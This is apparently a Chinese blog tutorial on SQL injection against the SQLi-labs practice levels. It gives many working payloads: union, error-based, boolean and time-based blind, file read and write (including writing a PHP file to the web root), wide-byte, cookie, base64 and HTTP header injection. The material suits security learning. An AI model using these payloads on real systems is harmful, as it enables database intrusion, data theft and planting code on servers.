SQL注入学习(二)
SQL注入点判断
?id=35 +1/-1 查看页面是否发生变化
select * from tbName where id=$id
1、?id=35'数字后面加上【' or '' or )】来判断是字符型,还是数字型,如果有报错、有回显的话,用报错注入
select * from tbName where id=35'
near ''' at line 1 数字型
near ''2'' LIMIT 0,1' at line 1 字符型
2、?id=35 and 1=1 // ?id=35 and 1=2 判断是否存在布尔类型的状态 (网页发生变化了就存在),考虑布尔注入
3、?id=35 and sleep(5) 判断是否有延时(在浏览器的网络中查看时间线),考虑延时注入
联合查询(实现跨库跨表查询)
判断字段个数
可以使用[order by] 语句来判断当前select 语句所查询的虚拟表的列数。 [order by]语句本意是按照某一列进行排序,在mysql 中可以使用数字来代替具体的列名,比如[order by 1]就是按照第一列进行排序,如果mysql 没有找到对应的列,就会报错[Unknown column]。我们可以依次增加数字,直到数据库报错,以此来确定我们虚拟表的列数。 [order by 1 --+] [order by 2 --+]
判断显示位置
得到字段个数之后,可以尝试构造联合查询语句。
1、 这里我们并不知道表名,根据mysql 数据库特性,select 语句在执行的过程中,并不需要指定表名。
[?id=33 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--+]
[?id=33 union select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null--+]
2、页面显示的是第一张虚拟表的内容,那么我们可以考虑让第一张虚拟表的查询条件为假,则显示第二条记录。因此构造SQL 语句:
[?id=33 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 --+]
[?id=-33 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 --+]
在执行SQL 语句的时候,可以考虑用火狐浏览器的插件hackbar。
result:发现某些数字会回显到页面中来。比如现在回显的是3,11
3、输入一些常用函数来测试 数据库版本 我们可以将数字3 用函数[version()]代替,即可得到数据库的版本。
[?id=33 and 1=2 union select 1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15 --+]
当前数据库名
[?id=33 and 1=2 union select 1,2,version(),4,5,6,7,8,9,10,database(),12,13,14,15 --+]
报错注入
在注入点的判断过程中,发现数据库中SQL 语句的报错信息,会显示在页面中,因此可以进行报错注入。
报错注入的原理,就是在错误信息中执行SQL 语句。触发报错的方式很多,具体细节也不尽相同。此处建议直接背公式即可。
@group by (分类聚合)重复键冲突【随机能出现查询结果】
[?id=33 and (select 1 from (select count(),concat((select version() from information_schema.tables limit 0,1),floor(rand()2))x from information_schema.tables group by x)a) --+]
[?id=33 union select 1,2,concat(left(rand(),3),'^',(select version()),'^')a,count(),5,6,7,8,9,10,11, 12, 13,14,15 from information_schema.tables group by a --+]
[?id=33 and (select 1 from (select count(),concat('^',(select version() from information_schema.tables limit 0,1),'^',floor(rand()*2))x from information_schema.tables group by x)a) --+]
@XPATH 报错(低版本不支持xpath报错)
extractalue()
[?id=33 and extractvalue(1,concat('^',(select version()),'^')) --+]
updatexml()
[?id=33 and updatexml(1,concat('^',(select database()),'^'),1) --+]
布尔盲注
原理:利用页面返回的布尔类型状态,正常或者不正常。
1、获取数据库名 数据库名长度
[?id=33 and length(database())=1 --+]
...(建议用二分法大致判断位置)
[?id=33 and length(database())=3 --+]
数据库名 [?id=33 and ascii(substr(database(),1,1))=99 --+]
2、账密同理
延时注入
原理:利用sleep() 语句的延时性,以时间线作为判断条件。
1、获取数据库名
获取数据库名长度
[?id=33 and if((length(database())=3),sleep(5),1)--+]
数据库名第二位
[?id=33 and if((ascii(substr(database(),2,1))=109),sleep(5),1)--+]
。。。。。。
其它注入
读写文件
前提条件:我们也可以利用SQL 注入漏洞读写文件。但是读写文件需要一定的条件
1、secure-file-priv (可以在phpmyadmin 中看到该变量) 该参数在高版本的mysql 数据库中限制了文件的导入导出操作。改参数可以写在my.ini 配置文件中[mysqld] 下。若要配置此参数,需要修改my.ini 配置文件,并重启mysql 服务。
关于该参数值的相关说明
secure-file-priv= 不对mysqld的导入导出操作做限制
secure-file-priv='c:/a/' 限制mysqld 的导入导出操作发生在c:/a/ 下(子目录有效)
secure-file-priv=null 限制mysqld 不允许导入导出操作
2、当前用户具有文件权限
[select File_priv from mysql.user where user="root" and host="localhost"]查询语句(判断当前用户是否具有权限)
3、知道要写入目标文件的绝对路径
C:\\Windows\\System32\\drivers\etc\hosts 【双右斜线】(因为\是转义字符,所以要加多一个\)
C:/Windows/System32/drivers/etc/hostsa 【单左斜线】
读取文件操作
【?id=-1' union select 1, load_file('C:\Windows\System32\drivers\etc\hosts'), 3 --+ ]】
load_file('') 读取文件函数
写入文件操作
【?id=-33 union select 1, 2,3,4,5,6,7,8,9,10,11,12,13,14,15 into outfile 'E:\phpstudy\www\1.php';】
【?id=-33 union select 1, 2,3,4,5,6,7,8,9,10,'<?php phpinfo();?>',12,13,14,15 into outfile 'E:\phpstudy\www\2.php';】
into outfile ‘xxxxx\xxxx\’ 写入文件
宽字节注入
宽字节注入准确来说不是注入手法,而是另外一种比较特殊的情况。为了说明宽字节注入问题,我们以SQLi-labs 32 关为例子。
使用[?id=1']进行测试的时候,发现提交的单引号会被转移[']。此时,转义后的单引号不再是字符串的标识,会被作为普通字符带入数据库查询。也就是说,我们提交的单引号不会影响到原来SQL 语句的结构。
我们通过阅读32 关的源码,发现几句非常意思的代码,如下: 此网页在连接数据库时,会将字符编码设置为GBK 编码集合,然后进行SQL 语句拼接,最后进行数据库查询。
GBK编码依然采用双字节编码方案,其编码范围:8140-FEFE,剔除xx7F码位,共23940个码位。共收录汉字和图形符号21886个,其中汉字(包括部首和构件)21003个,图形符号883个。GBK编码支持国际标准ISO/IEC10646-1和国家标准GB13000-1中的全部中日韩汉字,并包含了BIG5编码中的所有汉字。GBK编码方案于1995年12月15日正式发布,这一版的GBK规范为1.0版。
转移字符\ 的编码是5c,正好在GBK 编码范围之内,也就是说我们可以在单引号之前提交一个十六进制编码的字符,与5c 组成一个GBK 编码的汉字。这样SQL 语句传入数据库的时候,转移字符5c ,会被看作GBK 汉字的低位字节编码,从而失去转义的作用。
如果我们提交这样的参数[?id=1000%df' union select 1,2,3 --+],就可以使用联合查询进行注入了。【0xdf5c 就是一个汉字"運"】
Cookie注入
Cookie 注入的注入参数需要通过Cookie 提交,可以通过[document.cookie] 在控制台完成对浏览器Cookie 的读写。
我们使用SQLi-labs 第20 关来说明Cookie 注入问题。来到less-20,在控制台输入
[document.cookie="uname=Dumb' and extractvalue(1,concat(0x7e,database(),0x7e))#"] (用BP抓包,报错注入来实现也可以)
base64 注入
我们以SQLI-labs 第22关来说明base64 注入的问题。
base64 注入也是比较简单的,只不过将注入字段经过base64 编码。经过测试,发现22 关属于Cookie 型的base64 注入。
我们可以使用报错注入手法,payload [document.cookie="uname=Dumb" and extractvalue(1,concat(0x7e,database(),0x7e))#"]
在控制台输入 [document.cookie="uname=RHVtYiIgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLGRhdGFiYXNlKCksMHg3ZSkpIw=="]
HTTP 头部注入
http 头部注入就是指注入字段在HTTP 头部的字段中,这些字段通常有User-Agent、Referer 等。
@User-Agent 注入 如SQLi-labs 第18 关。
payload [User-Agent:hacker' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1]
@Referer 注入 第19 关,注入字段在Referer 中
[hacker' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1]
如果有错误的地方,就在下面留言给我,我看到后会及时更正的啦~谢谢各位
SQL注入学习(二)的更多相关文章
- SQL注入之二次,加解密,DNS等注入
#sql注入之二次注入 1.注入原理 二次注入可以理解为,构造恶意数据存储在数据库后,恶意数据被读取并进入到了SQL查询语句所导致的注入.恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当 ...
- SQL注入学习资料总结
转载自:https://bbs.ichunqiu.com/thread-12105-1-1.html 什么是SQL注入 SQL注入基本介绍 结构化查询语言(Structured Query Lang ...
- sql注入学习笔记,什么是sql注入,如何预防sql注入,如何寻找sql注入漏洞,如何注入sql攻击 (原)
(整篇文章废话很多,但其实是为了新手能更好的了解这个sql注入是什么,需要学习的是文章最后关于如何预防sql注入) (整篇文章废话很多,但其实是为了新手能更好的了解这个sql注入是什么,需要学习的是文 ...
- 从零开始的sql注入学习(挖坑不填)
首先,本人是小白,这篇文章也只是总结了一下大佬们的sql注入方法,要是有错,请各位大佬指出,以便学习. 虽然我是菜鸡,但是太过基础的sql注入问题也就不再重复的解释了.直接从常用的说起. 实战中常用的 ...
- SQL注入原理二
随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多. 但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候 ,没有对用户输入数据的合法性进行判断,使应用程序存 ...
- SQL注入学习(一)
注入攻击的本质:web应用程序没有过滤用户输入或过滤不严谨,直接把用户输入的恶意数据当做代码执行 两个条件: 1.用户能够控制输入 2.原本程序要执行的代码,拼接了用户输入的数据 注入类型 SQL注入 ...
- sql注入总结(二)--2018自我整理
0x00前言: 继上篇的内容,这章总结下二次注入,python脚本,bypass 上篇sql注入总结(一)--2018自我整理 0x01二次注入: 二次注入的原理是在把非法代码添加进数据库里面存储了, ...
- SQL学习之SQL注入学习总结
所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. 测试数据库 我们本文就以如下数据库作为测试数据库,完成我们的注入分析 ...
- sql注入学习笔记 详解篇
sql注入的原理以及怎么预防sql注入(请参考上一篇文章) https://www.cnblogs.com/KHZ521/p/12128364.html (本章主要针对MySQL数据库进行注入) sq ...
随机推荐
- Microsoft Visual C++ 14.0 is required,成功解决这个问题!
这个问题我向大家也不一定很好解决的,因为按照这个链接提示的打开,里面的t[mark][/mark]ools 页面早就已经不存在了,我也是看了网上各种各样的解决办法,解决起来是困难,这个提示的意思是缺少 ...
- Dubbo源码解析(一)服务发现
一.Dubbo源码模块 官网地址 源码地址 1.1 源码模块组织 Dubbo工程是一个Maven多Module的项目,以包结构来组织各个模块. 核心模块及其关系,如图所示: 1.2 模块说明 dubb ...
- RocketMQ学习 -> NameServer路由中心
RocketMQ项目代码核心目录说明 broker:broker启动进程 client:消息客户端,包含消息生产者,消息消费者相关类 common:公共包 dev:开发者信息(非源代码) distri ...
- 死磕 java线程系列之创建线程的8种方式
(手机横屏看源码更方便) 问题 (1)创建线程有哪几种方式? (2)它们分别有什么运用场景? 简介 创建线程,是多线程编程中最基本的操作,彤哥总结了一下,大概有8种创建线程的方式,你知道吗? 继承Th ...
- while 格式化输出 编码初识
1.while循环 while 关键字 空格 条件 冒号 缩进 循环体 while 3>2: print("好嗨呦") print("你的骆驼") pri ...
- [Java web] JSP 内置对象
1. Application 服务器启动后产生,所有用户共用一个Application,可以往里面存一些键值对 2. Session 会话对象,第一个JSP页面被装载时自动创建.从一个客户打开浏览器并 ...
- Object.keys方法详解
一.官方解释 Object.keys() 方法会返回一个由一个给定对象的自身可枚举属性组成的数组,数组中属性名的排列顺序和使用 for...in 循环遍历该对象时返回的顺序一致 .如果对象的键-值都不 ...
- PID算法的理解及场景模拟
增量式PID算法的简化版之后的公式: △u(t)=Ae(t)-Be(t-1)+Ce(t-2) △u:PID控制器输出的下一时刻的调整量 e(t):PID控制器在当前时刻的状态变化量-给定值 e(t-1 ...
- JavaScript中闭包的使用和各种继承介绍
一.什么是闭包? (1)闭包的概念:a.闭包就是函数嵌套时,让局部变量变成自由变量的环境,是一种让局部变量进化的方式. b.定义在一个函数内部的函数. ...
- 强大得分布式项目管理工具Git
---恢复内容开始--- 强大的分布式管理工具-Git(一) 前言:最近忙着写项目,在期间呢,用的是git管理,由于一个项目的管理是很重要得,所以整理了一篇关于git得博客跟大家分享一下.大家都知道, ...